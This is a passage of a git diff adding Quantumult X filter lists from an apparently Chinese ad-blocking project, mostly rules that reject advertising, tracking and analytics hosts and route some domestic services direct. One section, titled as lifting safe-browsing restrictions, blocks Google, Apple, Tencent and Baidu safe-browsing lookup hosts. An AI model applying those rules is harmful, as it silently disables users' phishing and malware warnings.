+host-suffix, h.holder.com.ua, reject +host-suffix, k2team.kyiv.ua, reject +host-suffix, match.c8.net.ua, reject +host-suffix, ff.nsg.org.ua, reject +host-suffix, wowanalytics.co.uk, reject +host-suffix, jsc.adskeeper.co.uk, reject +host-suffix, servicer.adskeeper.co.uk, reject +host-suffix, oas.autotrader.co.uk, reject +host-suffix, rack.bauermedia.co.uk, reject +host-suffix, visualscience.external.bbc.co.uk, reject +host-suffix, oasc07.citywire.co.uk, reject +host-suffix, cnetwidget.creativemark.co.uk, reject +host-suffix, mads.dailymail.co.uk, reject +host-suffix, ad.jamster.co.uk, reject +host-suffix, fe.lea.lycos.co.uk, reject +host-suffix, hit.webcentre.lycos.co.uk, reject +host-suffix, network.sofeminine.co.uk, reject +host-suffix, londonprivaterentals.standard.co.uk, reject +host-suffix, connect.summit.co.uk, reject +host-suffix, creatives.summitconnect.co.uk, reject +host-suffix, wtpn.twenga.co.uk, reject +host-suffix, partners.vouchedfor.co.uk, reject +host-suffix, localnetwork.uop, reject +host-suffix, amung.us, reject +host-suffix, sitetag.us, reject +host-suffix, wole.us, reject +host-suffix, widgets.amung.us, reject +host-suffix, www.avple.video, reject +host-suffix, 58lm.vip, reject +host-suffix, xj40666.vip, reject +host-suffix, oikxlcv.wang, reject +host-suffix, xhtd.99hg.wang, reject +host-suffix, 0x01e7.website, reject +host-suffix, brakefluid.website, reject +host-suffix, adserve.work, reject +host-suffix, material.mtty.xin, reject +host-suffix, mtty-cdn.mtty.xin, reject +host-suffix, xn--xhq9mt12cf5v.xn--io0a7i, reject +host-suffix, xn--xhq9mt12cf5v.xn--io0a7i, reject +host-suffix, sss.sege.xxx, reject +host-suffix, ayabreya.xyz, reject +host-suffix, ddmax20.xyz, reject +host-suffix, gotourl.xyz, reject +host-suffix, okjhb.xyz, reject +host-suffix, xiaohuau.xyz, reject +host-suffix, base.filedot.xyz, reject +host-suffix, go.gogolm.xyz, reject +host-suffix, go.gotourl.xyz, reject +host-suffix, cdn.hivps.xyz, reject +host-suffix, ip.hivps.xyz, reject +host-suffix, ad.pornimg.xyz, reject +host-suffix, t.supermario.xyz, reject +host-suffix, yumcs.xiaohuau.xyz, reject +host-suffix, banner.itweb.co.za, reject +host-suffix, banners.itweb.co.za, reject +host-suffix, xn--3bs795g.zone, reject + +# IPV4 addresses +IP-CIDR, 117.177.248.17/32, reject +IP-CIDR, 117.177.248.41/32, reject +IP-CIDR, 223.87.176.139/32, reject +IP-CIDR, 223.87.176.176/32, reject +IP-CIDR, 223.87.177.180/32, reject +IP-CIDR, 223.87.177.182/32, reject +IP-CIDR, 223.87.177.184/32, reject +IP-CIDR, 223.87.177.43/32, reject +IP-CIDR, 223.87.177.47/32, reject +IP-CIDR, 223.87.177.80/32, reject +IP-CIDR, 223.87.182.101/32, reject +IP-CIDR, 223.87.182.102/32, reject +IP-CIDR, 223.87.182.11/32, reject +IP-CIDR, 223.87.182.52/32, reject +IP-CIDR, 1.3.0.10/32, reject +IP-CIDR, 101.201.29.182/32, reject +IP-CIDR, 101.251.211.235/32, reject +IP-CIDR, 103.249.254.113/32, reject +IP-CIDR, 104.195.62.12/32, reject +IP-CIDR, 104.197.140.120/32, reject +IP-CIDR, 104.198.198.188/32, reject +IP-CIDR, 106.187.95.251/32, reject +IP-CIDR, 106.75.65.90/32, reject +IP-CIDR, 106.75.65.92/32, reject +IP-CIDR, 107.21.113.76/32, reject +IP-CIDR, 108.171.248.234/32, reject +IP-CIDR, 111.175.220.160/29, reject +IP-CIDR, 111.206.22.0/24, reject +IP-CIDR, 111.30.135.167/32, reject +IP-CIDR, 111.63.135.0/24, reject +IP-CIDR, 111.73.45.147/32, reject +IP-CIDR, 112.124.115.215/32, reject +IP-CIDR, 112.74.95.46/32, reject +IP-CIDR, 113.207.57.24/32, reject +IP-CIDR, 113.57.230.88/32, reject +IP-CIDR, 114.55.123.44/32, reject +IP-CIDR, 114.95.102.77/32, reject +IP-CIDR, 115.29.141.121/32, reject +IP-CIDR, 115.29.247.48/32, reject +IP-CIDR, 116.206.22.7/32, reject +IP-CIDR, 116.55.227.242/32, reject +IP-CIDR, 117.144.242.32/32, reject +IP-CIDR, 117.25.133.209/32, reject +IP-CIDR, 118.144.88.215/28, reject +IP-CIDR, 119.188.13.0/24, reject +IP-CIDR, 120.132.57.41/32, reject +IP-CIDR, 120.132.63.203/32, reject +IP-CIDR, 120.197.89.239/32, reject +IP-CIDR, 120.198.116.0/24, reject +IP-CIDR, 120.26.151.246/32, reject +IP-CIDR, 120.27.34.156/32, reject +IP-CIDR, 120.55.199.139/32, reject +IP-CIDR, 120.80.57.123/32, reject +IP-CIDR, 121.15.207.243/32, reject +IP-CIDR, 121.199.73.185/32, reject +IP-CIDR, 121.201.108.2/32, reject +IP-CIDR, 121.201.11.95/32, reject +IP-CIDR, 121.251.255.0/24, reject +IP-CIDR, 121.43.75.169/32, reject +IP-CIDR, 122.225.103.120/32, reject +IP-CIDR, 122.226.223.163/32, reject +IP-CIDR, 122.227.254.195/32, reject +IP-CIDR, 122.228.236.165/32, reject +IP-CIDR, 123.125.111.0/24, reject +IP-CIDR, 123.139.154.201/24, reject +IP-CIDR, 123.57.162.39/32, reject +IP-CIDR, 123.57.94.184/32, reject +IP-CIDR, 123.59.152.170/32, reject +IP-CIDR, 123.59.78.229/32, reject +IP-CIDR, 124.160.194.11/32, reject +IP-CIDR, 125.46.61.28/32, reject +IP-CIDR, 125.89.69.5/32, reject +IP-CIDR, 139.159.32.82/32, reject +IP-CIDR, 139.196.239.52/32, reject +IP-CIDR, 139.224.26.92/32, reject +IP-CIDR, 139.224.74.148/32, reject +IP-CIDR, 146.148.85.61/32, reject +IP-CIDR, 162.212.181.32/32, reject +IP-CIDR, 173.208.177.227/32, reject +IP-CIDR, 180.76.155.58/32, reject +IP-CIDR, 180.76.162.60/32, reject +IP-CIDR, 180.76.171.28/32, reject +IP-CIDR, 180.76.172.149/32, reject +IP-CIDR, 180.76.181.213/32, reject +IP-CIDR, 182.92.81.104/32, reject +IP-CIDR, 183.131.79.130/32, reject +IP-CIDR, 183.131.79.30/32, reject +IP-CIDR, 183.59.53.187/29, reject +IP-CIDR, 183.6.188.226/29, reject +IP-CIDR, 198.40.52.11/32, reject +IP-CIDR, 202.104.1.27/32, reject +IP-CIDR, 202.105.165.202/32, reject +IP-CIDR, 205.209.138.102/32, reject +IP-CIDR, 211.103.159.32/32, reject +IP-CIDR, 211.137.132.89/32, reject +IP-CIDR, 211.139.178.49/32, reject +IP-CIDR, 211.149.225.23/32, reject +IP-CIDR, 211.167.105.131/32, reject +IP-CIDR, 211.98.71.195/29, reject +IP-CIDR, 218.25.246.118/32, reject +IP-CIDR, 219.234.83.60/32, reject +IP-CIDR, 221.179.140.0/24, reject +IP-CIDR, 221.179.183.0/24, reject +IP-CIDR, 221.179.191.0/24, reject +IP-CIDR, 221.179.46.190/25, reject +IP-CIDR, 221.204.213.222/32, reject +IP-CIDR, 221.228.214.101/32, reject +IP-CIDR, 222.187.226.96/32, reject +IP-CIDR, 223.6.255.99/32, reject +IP-CIDR, 23.235.156.167/32, reject +IP-CIDR, 23.42.186.24/32, reject +IP-CIDR, 23.66.147.48/32, reject +IP-CIDR, 27.255.67.120/32, reject +IP-CIDR, 42.51.146.207/32, reject +IP-CIDR, 45.34.240.72/32, reject +IP-CIDR, 46.165.197.153/32, reject +IP-CIDR, 46.165.197.231/32, reject +IP-CIDR, 47.90.50.177/32, reject +IP-CIDR, 47.93.103.196/32, reject +IP-CIDR, 47.94.89.32/32, reject +IP-CIDR, 47.96.162.122/32, reject +IP-CIDR, 58.215.179.159/32, reject +IP-CIDR, 58.221.28.166/32, reject +IP-CIDR, 60.19.29.21/28, reject +IP-CIDR, 60.190.139.164/32, reject +IP-CIDR, 60.191.124.196/32, reject +IP-CIDR, 60.210.17.12/24, reject +IP-CIDR, 61.129.70.132/32, reject +IP-CIDR, 61.132.216.232/32, reject +IP-CIDR, 61.132.221.146/32, reject +IP-CIDR, 61.132.255.212/32, reject +IP-CIDR, 61.132.255.222/25, reject +IP-CIDR, 61.147.184.18/32, reject +IP-CIDR, 61.152.223.15/32, reject +IP-CIDR, 61.174.50.167/25, reject +IP-CIDR, 61.191.12.74/32, reject +IP-CIDR, 61.191.206.4/32, reject +IP-CIDR, 67.229.224.28/32, reject +IP-CIDR, 69.28.57.245/32, reject +IP-CIDR, 74.117.182.77/32, reject +IP-CIDR, 78.140.131.214/32, reject +IP-CIDR, 39.107.15.115/32, reject +IP-CIDR, 47.89.59.182/32, reject +IP-CIDR, 103.49.209.27/32, reject +IP-CIDR, 123.56.152.96/32, reject +IP-CIDR, 61.160.200.223/32, reject +IP-CIDR, 61.160.200.242/32, reject +IP-CIDR, 61.160.200.252/32, reject +IP-CIDR, 61.174.50.214/32, reject +IP-CIDR, 111.175.220.163/32, reject +IP-CIDR, 111.175.220.164/32, reject +IP-CIDR, 124.232.160.178/32, reject +IP-CIDR, 175.6.223.15/32, reject +IP-CIDR, 183.59.53.237/32, reject +IP-CIDR, 218.93.127.37/32, reject +IP-CIDR, 221.228.17.152/32, reject +IP-CIDR, 221.231.6.79/32, reject +IP-CIDR, 222.186.61.91/32, reject +IP-CIDR, 222.186.61.95/32, reject +IP-CIDR, 222.186.61.96/32, reject +IP-CIDR, 222.186.61.97/32, reject +IP-CIDR, 106.75.231.48/32, reject +IP-CIDR, 119.4.249.166/32, reject +IP-CIDR, 220.196.52.141/32, reject +IP-CIDR, 221.6.4.148/32, reject +IP-CIDR, 114.247.28.96/32, reject +IP-CIDR, 221.179.131.72/32, reject +IP-CIDR, 221.179.140.145/32, reject +IP-CIDR, 10.72.25.0/24, reject +IP-CIDR, 115.182.16.79/32, reject +IP-CIDR, 118.144.88.126/32, reject +IP-CIDR, 118.144.88.215/32, reject +IP-CIDR, 118.144.88.216/32, reject +IP-CIDR, 120.76.189.132/32, reject +IP-CIDR, 124.14.21.147/32, reject +IP-CIDR, 124.14.21.151/32, reject +IP-CIDR, 180.166.52.24/32, reject +IP-CIDR, 211.161.101.106/32, reject +IP-CIDR, 220.115.251.25/32, reject +IP-CIDR, 222.73.156.235/32, reject +IP-CIDR, 203.107.1.1/24, reject + diff --git a/QuantumultX/filter/fenliuxiuzheng.list b/QuantumultX/filter/fenliuxiuzheng.list new file mode 100644 index 00000000..ef4fac4b --- /dev/null +++ b/QuantumultX/filter/fenliuxiuzheng.list @@ -0,0 +1,140 @@ +#!name=分流修正 +#!desc=修正某些被分流到外区的国内网站 +#!author=奶思 +#!homepage=https://github.com/fmz200/wool_scripts +#!icon=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/NaiSi_01.png +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/QuantumultX/filter/fenliuxiuzheng.list +#!tg-group=https://t.me/lanjieguanggao +#!date=2023-11-06 21:30:00 +#!proxy-select=direct +############################################# +# > "reject" 策略返回 HTTP 状态码 404,不附带任何额外内容 +# > "reject-200" 策略返回 HTTP 状态码 200,不附带任何额外内容 +# > "reject-img" 策略返回 HTTP 状态码 200,同时附带 1px gif +# > "reject-dict" 策略返回 HTTP 状态码 200,同时附带一个空的 JSON 对象 +# > "reject-array" 策略返回 HTTP 状态码 200,同时附带一个空的 JSON 数组 +############################################# + + + +# >>>>>>>>>>>>>>> ✅ 1 ✅ <<<<<<<<<<<<<< +host, ad.12306.cn, direct + + + + +# >>>>>>>>>>>>>>> ✅ A ✅ <<<<<<<<<<<<<< +# > anti-ad +host-keyword, anti-ad.net, direct + +# > Alibaba +host,log.mmstat.com, direct +host,sycm.mmstat.com, direct + +# > 爱影视 +host,static.jssp.tv, direct +host,lain.bgm.tv, direct +host,tiao.cjkypo.com, direct +host,ok.zuidapic.com, direct +host,ts.thefilehosting.com, direct +host,deo.shopeemobile.com, direct +host,m3u8.255tv.tk, direct +host,m3u8.mstopq.com, direct +host,ain.bgm.tv, direct +host-keyword,vip.lz-cdn, direct +host-keyword,ax1x.com, direct +host-keyword,o.lencr.org, direct +host-keyword,ttcdn-tos.kkimg.cc, direct + + + +# >>>>>>>>>>>>>>> ✅ D ✅ <<<<<<<<<<<<<< +# > 大师兄影视 +host,sdk.alibaba.com.ailbaba.me, direct +host,img.ffzypic.com, direct +host,img.liangzipic.com, direct +host,img.bfzypic.com, direct +host,img.kuaikanzy.net, direct +host,vip.imgffzy.com, direct +host,vip.ffzyread.com, direct +host,cdn.jsdelivr.net, direct +host,image.maimn.com, direct +host-keyword,bfzycdn.com, direct +host-keyword,vip.kuaikan-cdn, direct +host-keyword,vip.ffzy-play, direct +host-keyword,vip.ffzy-online, direct + + + +# >>>>>>>>>>>>>>> ✅ P ✅ <<<<<<<<<<<<<< +# > 苹果推送服务 +host-keyword, push.apple.com, direct +# > 苹果时间同步 +host, time.apple.com, direct +# > 苹果天气服务 +host-keyword, weather-edge.apple.com, direct +host-keyword, weather-adge.apple.com, direct +host-suffix, weather-data.apple.com, direct +host-suffix, weather-map.apple.com, direct +host-suffix, weather-analytics-events.apple.com, direct +# > 苹果内购服务 +host-keyword, buy.itunes.apple.com, direct +# > 苹果icloud +host-keyword, icloud.com, direct +# > 苹果输入法相关服务 +host-keyword, api.smoot.apple.com, direct +host-keyword, api.smoot.apple.cn, direct +# > 苹果iMessage服务 +host, init.ess.apple.com, direct +# > 苹果其他服务 +host-keyword, ssl.apple.com, direct +host-keyword, humb.apple.com, direct +host, smp-device-content.apple.com, direct +host-keyword, api-adservices.apple.com, direct +host-keyword, ls.apple.com, direct +host-keyword, gsa.apple.com, direct +host-keyword, ess.apple.com, direct +# > 苹果app store +host, itunes.apple.com, direct + + + +# >>>>>>>>>>>>>>> ✅ Q ✅ <<<<<<<<<<<<<< +# > QQ空间 +host-keyword, ctc.qzs.qzone.qq.com, direct + + +# >>>>>>>>>>>>>>> ✅ S ✅ <<<<<<<<<<<<<< +# > Strava +host,analytics.strava.com, direct + + + +# >>>>>>>>>>>>>>> ✅ T ✅ <<<<<<<<<<<<<< +# > Tencent +host,fairplay.l.qq.com, direct +host,livew.l.qq.com, direct +host,vd.l.qq.com, direct +host,vi.l.qq.com, direct + + + +# >>>>>>>>>>>>>>> ✅ U ✅ <<<<<<<<<<<<<< +# > Umeng +host,msg.umeng.com, direct +host,msg.umengcloud.com, direct + + + +# >>>>>>>>>>>>>>> ✅ X ✅ <<<<<<<<<<<<<< +# > 携程 +host-keyword, aw-s.tripcdn.com, direct +host-keyword, trip.com, direct + + + +# > 其他分流修正 +# > 路由器后台 +ip-cidr, 192.168.0.1/24, direct +# > 天翼网关 +ip-cidr, 192.168.1.1/24, direct diff --git a/QuantumultX/filter/filter.list b/QuantumultX/filter/filter.list new file mode 100644 index 00000000..74b852fe --- /dev/null +++ b/QuantumultX/filter/filter.list @@ -0,0 +1,10275 @@ +#!name=广告拦截合集-分流 +#!desc=(F)针对部分APP和小程序广告进行拦截,某些APP要清除缓存或者重新安装APP,拦截广告才会生效! +#!author=奶思 +#!homepage=https://github.com/fmz200/wool_scripts +#!icon=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/gif/naisi-01.gif +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/QuantumultX/filter/filter.list +#!tg-group=https://t.me/lanjieguanggao +#!date=2025-06-20 23:40:17 +#!support=约9760行 +############################################# +# "reject" 策略返回 HTTP 状态码 404,不附带任何额外内容 +# "reject-200" 策略返回 HTTP 状态码 200,不附带任何额外内容 +# "reject-img" 策略返回 HTTP 状态码 200,同时附带 1px gif +# "reject-dict" 策略返回 HTTP 状态码 200,同时附带一个空的 JSON 对象 +# "reject-array" 策略返回 HTTP 状态码 200,同时附带一个空的 JSON 数组 +# 1.2.3.4/24 /24表示网络的子网掩码长度,即前24位是网络部分,后8位是主机部分。这种表示法常用于描述特定范围内的IP地址 +# 6.7.8.9/32 /32表示整个32位的IP地址都用于表示这一个地址,即单独的一个IP地址 +############################################# + + + +# >>>>>>>>>>>>>>> ❣️ 1 ❣️ <<<<<<<<<<<<<< +host, ad.12306.cn, direct + + + + +# >>>>>>>>>>>>>>> ❣️ A ❣️ <<<<<<<<<<<<<< +# > anti-ad +host-keyword, anti-ad.net, direct + +# > Alibaba +host,log.mmstat.com, direct +host,sycm.mmstat.com, direct + +# > 爱影视 +host,static.jssp.tv, direct +host,lain.bgm.tv, direct +host,tiao.cjkypo.com, direct +host,ok.zuidapic.com, direct +host,ts.thefilehosting.com, direct +host,deo.shopeemobile.com, direct +host,m3u8.255tv.tk, direct +host,m3u8.mstopq.com, direct +host,ain.bgm.tv, direct +host-keyword,vip.lz-cdn, direct +host-keyword,ax1x.com, direct +host-keyword,o.lencr.org, direct +host-keyword,ttcdn-tos.kkimg.cc, direct + + + +# >>>>>>>>>>>>>>> ❣️ D ❣️ <<<<<<<<<<<<<< +# > 大师兄影视 +host,sdk.alibaba.com.ailbaba.me, direct +host,img.ffzypic.com, direct +host,img.liangzipic.com, direct +host,img.bfzypic.com, direct +host,img.kuaikanzy.net, direct +host,vip.imgffzy.com, direct +host,vip.ffzyread.com, direct +host,cdn.jsdelivr.net, direct +host,image.maimn.com, direct +host-keyword,bfzycdn.com, direct +host-keyword,vip.kuaikan-cdn, direct +host-keyword,vip.ffzy-play, direct +host-keyword,vip.ffzy-online, direct + + + +# >>>>>>>>>>>>>>> ❣️ P ❣️ <<<<<<<<<<<<<< +# > 苹果推送服务 +host-keyword, push.apple.com, direct +# > 苹果时间同步 +host, time.apple.com, direct +# > 苹果天气服务 +host-keyword, weather-edge.apple.com, direct +host-keyword, weather-adge.apple.com, direct +host-suffix, weather-data.apple.com, direct +host-suffix, weather-map.apple.com, direct +host-suffix, weather-analytics-events.apple.com, direct +# > 苹果内购服务 +host-keyword, buy.itunes.apple.com, direct +# > 苹果icloud +host-keyword, icloud.com, direct +# > 苹果输入法相关服务 +host-keyword, api.smoot.apple.com, direct +host-keyword, api.smoot.apple.cn, direct +# > 苹果iMessage服务 +host, init.ess.apple.com, direct +# > 苹果其他服务 +host-keyword, ssl.apple.com, direct +host-keyword, humb.apple.com, direct +host, smp-device-content.apple.com, direct +host-keyword, api-adservices.apple.com, direct +host-keyword, ls.apple.com, direct +host-keyword, gsa.apple.com, direct +host-keyword, ess.apple.com, direct +# > 苹果app store +host, itunes.apple.com, direct + + + +# >>>>>>>>>>>>>>> ❣️ Q ❣️ <<<<<<<<<<<<<< +# > QQ空间 +host-keyword, ctc.qzs.qzone.qq.com, direct + + +# >>>>>>>>>>>>>>> ❣️ S ❣️ <<<<<<<<<<<<<< +# > Strava +host,analytics.strava.com, direct + + + +# >>>>>>>>>>>>>>> ❣️ T ❣️ <<<<<<<<<<<<<< +# > Tencent +host,fairplay.l.qq.com, direct +host,livew.l.qq.com, direct +host,vd.l.qq.com, direct +host,vi.l.qq.com, direct + + + +# >>>>>>>>>>>>>>> ❣️ U ❣️ <<<<<<<<<<<<<< +# > Umeng +host,msg.umeng.com, direct +host,msg.umengcloud.com, direct + + + +# >>>>>>>>>>>>>>> ❣️ X ❣️ <<<<<<<<<<<<<< +# > 携程 +host-keyword, aw-s.tripcdn.com, direct +host-keyword, trip.com, direct + + + +# > 其他分流修正 +# > 路由器后台 +ip-cidr, 192.168.0.1/24, direct +# > 天翼网关 +ip-cidr, 192.168.1.1/24, direct + + + +# >>>>>>>>>>>>>>> ✅ # ✅ <<<<<<<<<<<<<< +# > 广告联盟 +host-suffix, miaozhen.com, reject +host-suffix, ad-sign.byteimg.com, reject +host-suffix, tos.pstatp.com, reject +host-keyword, asiad.byteactivity, reject +host-keyword, pangolin-sdk-toutiao, reject +host-keyword, pglstatp-toutiao, reject +host-suffix, pangolin.snssdk.com, reject +host-suffix, video-cn.snssdk.com, reject +host-suffix, getui.com, reject +host-suffix, getui.net, reject +host-suffix, gepush.com, reject +host-suffix, igexin.com, reject +host-suffix, log.aliyuncs.com, reject +host-suffix, zlsdk.1rtb.net, reject +# > 收集用户隐私联盟,若有问题自行设置白名单 +host-keyword, volc, reject +host-keyword, umeng, reject + + + +# >>>>>>>>>>>>>>> ✅ # ✅ <<<<<<<<<<<<<< +host, api.liquidlink.cn, reject + + +# >>>>>>>>>>>>>>> ✅ 0 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 1 ✅ <<<<<<<<<<<<<< +# > 交管12123 +host-suffix, v3.fstats.xyz, reject +host-suffix, wss.haoyundmn.com, reject +host-suffix, new.xiongzhangad.com, reject +host-suffix, alexametrics.com, reject +host-keyword, in-page-push, reject + + + +# >>>>>>>>>>>>>>> ✅ 2 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 3 ✅ <<<<<<<<<<<<<< +host, ad.mcloud.139.com, reject + + +# >>>>>>>>>>>>>>> ✅ 4 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 5 ✅ <<<<<<<<<<<<<< +# > 51wnl +host, ad.51wnl-cq.com, reject +host, adextra.51wnl-cq.com, reject +host, log.51wnl-cq.com, reject +host, r.51wnl-cq.com, reject + +# > 51.LA +host, js.users.51.la, reject +host, mc.51.la, reject +host, wc.51.la, reject + +# > 58同城 +host, track.58.com, reject +host, tracklog.58.com, reject + + + + +# >>>>>>>>>>>>>>> ✅ 6 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 7 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 8 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 9 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ A ✅ <<<<<<<<<<<<<< +# > Adobe Flash China Special Edition +host, geo2.adobe.com, reject + +# > Apple +host, advertising.apple.com, reject +host, api-adservices.apple.com, reject +host, apple.comscoreresearch.com, reject +host, banners.itunes.apple.com, reject +host, iad.apple.com, reject +host, iadcontent.apple.com, reject +host, iadctest.qwapi.com, reject +host, iadmoo.apple.com, reject +host, iadworkbench.apple.com, reject +host, launch.apple.com, reject +host, metrics.apple.com, reject +host, qwapi.apple.com, reject +host, securemetrics.apple.com, reject +host, webproxy-advp.iad-apple.com, reject +host, webproxy-advp.iad-apple.com.akadns.net, reject +host-suffix, advp.apple.com, reject +host-suffix, iadsdk.apple.com, reject +# 安全浏览限制解除 +host, lookup.api.bsb.baidu.com, reject +host, proxy.safebrowsing.apple, reject +host, safebrowsing.g.applimg.com, reject +host, safebrowsing.googleapis.com, reject +host, safebrowsing.urlsec.qq.com, reject +host, token.safebrowsing.apple, reject +host, vs6.bj2ct.u3.ucweb.com, reject +host-suffix, safebrowsing.apple, reject +host-suffix, u3.ucweb.com, reject + +# > 阿里云 +IP-CIDR, 203.107.1.1/24, reject + +# > 爱奇艺 +host, api.iqiyi.com, reject +host, cr-status.iqiyi.com, reject +host, f74f7f7765f8a2f6.ngaa.net.cn, reject +host, ef-dongfeng.tanx.com, reject +host, iqiyim.adtrack.enlightent.cn, reject +host, dig.bdurl.net, reject +host, t7z.cupid.iqiyi.com, reject +host, t7z.cupid.ptqy.gitv.tv, reject +host-suffix, cupid.iqiyi.com, reject +host-suffix, t7z.cupid.iqiyi.com, reject +host-suffix, static-s.iqiyi.com, reject +host-suffix, a.ckm.iqiyi.com, reject +host-suffix, ad.m.iqiyi.com, reject +host-suffix, afp.iqiyi.com, reject +host-suffix, api.cupid.iqiyi.com, reject +host-suffix, api.cupid.qiyi.com, reject +host-suffix, c.uaa.iqiyi.com, reject +host-suffix, cloudpush.iqiyi.com, reject +host-suffix, cm.passport.iqiyi.com, reject +host-suffix, count.game.pps.tv, reject +host-suffix, cupid.iqiyi.com, reject +host-suffix, emoticon.sns.iqiyi.com, reject +host-suffix, gamecenter.iqiyi.com, reject +host-suffix, mbdlog.iqiyi.com, reject +host-suffix, msg.iqiyi.com, reject +host-suffix, msg.video.qiyi.com, reject +host-suffix, msg2.video.qiyi.com, reject +host-suffix, static.g.iqiyi.com, reject +host-suffix, static.g.ppstream.com, reject +host-suffix, store.iqiyi.com, reject +host-suffix, tracker.sns.iqiyi.com, reject +host-suffix, yuedu.iqiyi.com, reject +host-suffix, msga.cupid.iqiyi.com, reject +host-suffix, nl.notice.iqiyi.com, reject +host-suffix, nl.rcd.iqiyi.com, reject +host-suffix, notice.iqiyi.com, reject +host-suffix, noxagile.duapp.com, reject +host-suffix, paopao.iqiyi.com, reject +host-suffix, policy.video.iqiyi.com, reject +host-suffix, ifacelog.iqiyi.com, reject +IP-CIDR, 203.107.63.154/32, reject +IP-CIDR, 101.227.97.240/32, reject +IP-CIDR, 101.227.200.11/32, reject +IP-CIDR, 101.227.200.28/32, reject +IP-CIDR, 124.192.153.42/32, reject + + + +# >>>>>>>>>>>>>>> ✅ B ✅ <<<<<<<<<<<<<< +# > 百度 +host-suffix, duapps.com, reject +host-suffix, cpro.baidu.com, reject +host-suffix, pos.baidu.com, reject +host, afd.baidu.com, reject +host, als.baidu.com, reject +host, duclick.baidu.com, reject +host, mobads.baidu.com, reject +host, mobads-logs.baidu.com, reject +host, nadvideo2.baidu.com, reject +host, nsclick.baidu.com, reject +host-suffix, bce.baidu.com, reject +host-suffix, bar.baidu.com, reject +host-suffix, baiduyubaidu.com, reject +host-suffix, baidutv.baidu.com, reject +host-suffix, baichuan.baidu.com, reject +host-suffix, appc.baidu.com, reject +host-suffix, anquan.baidu.com, reject +host-suffix, adscdn.baidu.com, reject +host-suffix, adm.baidu.com, reject +host-suffix, ad.player.baidu.com, reject +host-suffix, a.baidu.com, reject +host-suffix, antivirus.baidu.com, reject +host-suffix, baifen.music.baidu.com, reject +host-suffix, banlv.baidu.com, reject +host-suffix, cm.baidu.com, reject +host-suffix, cpro.zhidao.baidu.com, reject +host-suffix, cleaner.baidu.com, reject +host-suffix, cjhq.baidu.com, reject +host-suffix, cb.baidu.com, reject +host-suffix, c.baidu.com, reject +host-suffix, btlaunch.baidu.com, reject +host-suffix, bdplus.baidu.com, reject +host-suffix, cbjs.baidu.com, reject +host-suffix, cpro2.baidu.com, reject +host-suffix, cpu-admin.baidu.com, reject +host-suffix, 10086.cn.baidu.cdn.yiwk.com, reject +host-suffix, 360baidus.com, reject +host-suffix, app.ibaiducdn.com, reject +host-suffix, baidu.cybcyw.com, reject +host-suffix, baidu.dsp.tansuotv.com, reject +host-suffix, baidu.greenxf.cn, reject +host-suffix, baidu.jz5u.net, reject +host-suffix, baiduace.com, reject +host-suffix, baidujs.cnys.com, reject +host-suffix, baidulao.com, reject +host-suffix, baidut.github.io, reject +host-suffix, baidu-union-js.xiachufang.com, reject +host-suffix, baidu-union-pos.xiachufang.com, reject +host-suffix, baiduzhidahao.cc, reject +host-suffix, cpro.baidu.cn, reject +host-suffix, crs.baidu.com, reject +host-suffix, datax.baidu.com, reject +host-suffix, dl.client.baidu.com, reject +host-suffix, dl.ops.baidu.com, reject +host-suffix, dl1sw.baidu.com, reject +host-suffix, dl2.bav.baidu.com, reject +host-suffix, dlsw.baidu.com, reject +host-suffix, dlsw.br.baidu.com, reject +host-suffix, dl-vip.bav.baidu.com, reject +host-suffix, dl-vip.pcfaster.baidu.co.th, reject +host-suffix, download.bav.baidu.com, reject +host-suffix, download.sd.baidu.com, reject +host-suffix, drmcmm.baidu.com, reject +host-suffix, duiwai.baidu.com, reject +host-suffix, dxp.baidu.com, reject +host-suffix, dzl.baidu.com, reject +host-suffix, e.baidu.com, reject +host-suffix, eclick.baidu.com, reject +host-suffix, eiv.baidu.com, reject +host-suffix, em.baidu.com, reject +host-suffix, entry.baidu.com, reject +host-suffix, ers.baidu.com, reject +host-suffix, fclick.baidu.com, reject +host-suffix, feed.baidu.com, reject +host-suffix, fexclick.baidu.com, reject +host-suffix, g.baidu.com, reject +host-suffix, gimg.baidu.com, reject +host-suffix, guanjia.baidu.com, reject +host-suffix, hc.baidu.com, reject +host-suffix, hdj.baidu.com, reject +host-suffix, hpd.baidu.com, reject +host-suffix, idm-su.baidu.com, reject +host-suffix, iebar.baidu.com, reject +host-suffix, ikcode.baidu.com, reject +host-suffix, iwanad.baidu.com, reject +host-suffix, j.br.baidu.com, reject +host-suffix, jb.mbaidu.top, reject +host-suffix, js.mbaidu.top, reject +host-suffix, kstj.baidu.com, reject +host-suffix, m.baidu.com.yiqisee.cn, reject +host-suffix, m.baidu.com.zhiduo.org, reject +host-suffix, m1.baidu.com, reject +host-suffix, ma.baidu.com, reject +host-suffix, mpro.baidu.com, reject +host-suffix, msite.baidu.com, reject +host-suffix, mssp.baidu.com, reject +host-suffix, mtj.baidu.com, reject +host-suffix, neirong.baidu.com, reject +host-suffix, nlog.baidu.com, reject +host-suffix, nsclickvideo.baidu.com, reject +host-suffix, openrcv.baidu.com, reject +host-suffix, paimgcdn.baidu.com, reject +host-suffix, pc.videoclick.baidu.com, reject +host-suffix, push.zhanzhang.baidu.com, reject +host-suffix, qianclick.baidu.com, reject +host-suffix, release.baidu.com, reject +host-suffix, river.zhidao.baidu.com, reject +host-suffix, rj.baidu.com, reject +host-suffix, rplog.baidu.com, reject +host-suffix, s.baidu.com, reject +host-suffix, sclick.baidu.com, reject +host-suffix, sestat.baidu.com, reject +host-suffix, shadu.baidu.com, reject +host-suffix, sobar.baidu.com, reject +host-suffix, sobartop.baidu.com, reject +host-suffix, spcode.baidu.com, reject +host-suffix, tk.baidu.com, reject +host-suffix, tkweb.baidu.com, reject +host-suffix, toolbar.baidu.com, reject +host-suffix, tuijian.baidu.com, reject +host-suffix, tuisong.baidu.com, reject +host-suffix, ucstat.baidu.com, reject +host-suffix, ulic.baidu.com, reject +host-suffix, ulog.imap.baidu.com, reject +host-suffix, union.baidu.com, reject +host-suffix, 